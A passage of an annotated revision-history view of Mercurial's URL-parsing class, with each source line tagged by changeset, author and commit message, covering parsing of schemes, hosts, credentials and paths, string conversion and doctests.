Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3023 path, self.fragment = path.split(b'#', 1)
15074
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
3024
14699
388af80c058b url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14640
diff changeset
3025 # special case for Windows drive letters and UNC paths
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3026 if hasdriveletter(path) or path.startswith(b'\\\\'):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3027 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3028 return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3029
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3030 # For compatibility reasons, we can't handle bundle paths as
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3031 # normal URLS
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3032 if path.startswith(b'bundle:'):
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3033 self.scheme = b'bundle'
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3034 path = path[7:]
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3035 if path.startswith(b'//'):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3036 path = path[2:]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3037 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3038 return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3039
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3040 if self._matchscheme(path):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3041 parts = path.split(b':', 1)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3042 if parts[0]:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3043 self.scheme, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3044 self._localpath = False
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3045
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3046 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3047 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3048 if self._localpath:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3049 self.path = b''
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3050 return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3051 else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3052 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3053 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3054 return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3055
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3056 if parsequery and b'?' in path:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3057 path, self.query = path.split(b'?', 1)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3058 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3059 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3060 if not self.query:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3061 self.query = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3062
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3063 # // is required to specify a host/authority
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3064 if path and path.startswith(b'//'):
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3065 parts = path[2:].split(b'/', 1)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3066 if len(parts) > 1:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3067 self.host, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3068 else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3069 self.host = parts[0]
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3070 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3071 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3072 self.host = None
15018
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents: 14988
diff changeset
3073 # path of file:///d is /d
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents: 14988
diff changeset
3074 # path of file:///d:/ is d:/, not /d:/
14915
28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents: 14825
diff changeset
3075 if path and not hasdriveletter(path):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3076 path = b'/' + path
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3078 if self.host and b'@' in self.host:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3079 self.user, self.host = self.host.rsplit(b'@', 1)
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3080 if b':' in self.user:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3081 self.user, self.passwd = self.user.split(b':', 1)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3082 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3083 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3084
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3085 # Don't split on colons in IPv6 addresses without ports
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3086 if (
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3087 self.host
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3088 and b':' in self.host
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3089 and not (
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3090 self.host.startswith(b'[') and self.host.endswith(b']')
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3091 )
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3092 ):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3093 self._hostport = self.host
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3094 self.host, self.port = self.host.rsplit(b':', 1)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3095 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3096 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3097
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3098 if (
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3099 self.host
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3100 and self.scheme == b'file'
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3101 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3102 ):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3103 raise error.Abort(
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3104 _(b'file:// URLs can only refer to localhost')
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3105 )
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3106
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3107 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3108
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
3109 # leave the query string escaped
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3110 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3111 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3112 if v is not None:
31567
4ebecf331d7d util: use urlreq.unquote
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31541
diff changeset
3113 setattr(self, a, urlreq.unquote(v))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3114
34072
30535fe47e78 py3: fix repr(util.url) to return system string
Yuya Nishihara <yuya@tcha.org>
parents: 34052
diff changeset
3115 @encoding.strmethod
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3116 def __repr__(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3117 attrs = []
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3118 for a in (
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3119 b'scheme',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3120 b'user',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3121 b'passwd',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3122 b'host',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3123 b'port',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3124 b'path',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3125 b'query',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3126 b'fragment',
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3127 ):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3128 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3129 if v is not None:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3130 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3131 return b'<url %s>' % b', '.join(attrs)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3132
33022
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32886
diff changeset
3133 def __bytes__(self):
14147
617483af1cc0 test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents: 14146
diff changeset
3134 r"""Join the URL's components back into a URL string.
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3135
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3136 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3137
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
3138 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
15452
de7e2fba4326 util: don't encode ':' in url paths
Mads Kiilerich <mads@kiilerich.com>
parents: 15392
diff changeset
3139 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
3140 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
3141 'http://user:pw@host:80/?foo=bar&baz=42'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
3142 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
3143 'http://user:pw@host:80/?foo=bar%3dbaz'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
3144 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3145 'ssh://user:pw@[::1]:2200//home/joe#'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
3146 >>> bytes(url(b'http://localhost:80//'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3147 'http://localhost:80//'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
3148 >>> bytes(url(b'http://localhost:80/'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3149 'http://localhost:80/'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
3150 >>> bytes(url(b'http://localhost:80'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3151 'http://localhost:80/'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
3152 >>> bytes(url(b'bundle:foo'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3153 'bundle:foo'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
3154 >>> bytes(url(b'bundle://../foo'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3155 'bundle:../foo'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
3156 >>> bytes(url(b'path'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3157 'path'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
3158 >>> bytes(url(b'file:///tmp/foo/bar'))
14313
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
3159 'file:///tmp/foo/bar'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
3160 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
15611
ec8a49c46d7e merge with stable
Matt Mackall <mpm@selenic.com>
parents: 15513 15609
diff changeset
3161 'file:///c:/tmp/foo/bar'
34137
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34134
diff changeset
3162 >>> print(url(br'bundle:foo\bar'))
14147
617483af1cc0 test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents: 14146
diff changeset
3163 bundle:foo\bar
34137
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34134
diff changeset
3164 >>> print(url(br'file:///D:\data\hg'))
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
3165 file:///D:\data\hg
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3166 """
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3167 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3168 s = self.path
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3169 if self.scheme == b'bundle':
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3170 s = b'bundle:' + s
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3171 if self.fragment:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3172 s += b'#' + self.fragment
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3173 return s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3174
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3175 s = self.scheme + b':'
14313
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
3176 if self.user or self.passwd or self.host:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3177 s += b'//'
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3178 elif self.scheme and (
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3179 not self.path
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3180 or self.path.startswith(b'/')
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3181 or hasdriveletter(self.path)
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3182 ):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3183 s += b'//'
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
3184 if hasdriveletter(self.path):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3185 s += b'/'
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3186 if self.user:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
3187 s += urlreq.quote(self.user, safe=self._safechars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3188 if self.passwd:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3189 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3190 if self.user or self.passwd:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3191 s += b'@'
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3192 if self.host:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3193 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
3194 s += urlreq.quote(self.host)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3195 else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3196 s += self.host
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3197 if self.port:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3198 s += b':' + urlreq.quote(self.port)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3199 if self.host:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3200 s += b'/'
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3201 if self.path:
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
3202 # TODO: similar to the query string, we should not unescape the
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
3203 # path when we store it, the path might contain '%2f' = '/',
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
3204 # which we should *not* escape.
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
3205 s += urlreq.quote(self.path, safe=self._safepchars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3206 if self.query:
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
3207 # we store the query in escaped form.
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3208 s += b'?' + self.query
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3209 if self.fragment is not None:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3210 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3211 return s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3212
33022
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32886
diff changeset
3213 __str__ = encoding.strmethod(__bytes__)
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32886
diff changeset
3214
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3215 def authinfo(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3216 user, passwd = self.user, self.passwd
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3217 try:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3218 self.user, self.passwd = None, None
31841
9ff5a124d111 py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31811
diff changeset
3219 s = bytes(self)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3220 finally:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3221 self.user, self.passwd = user, passwd
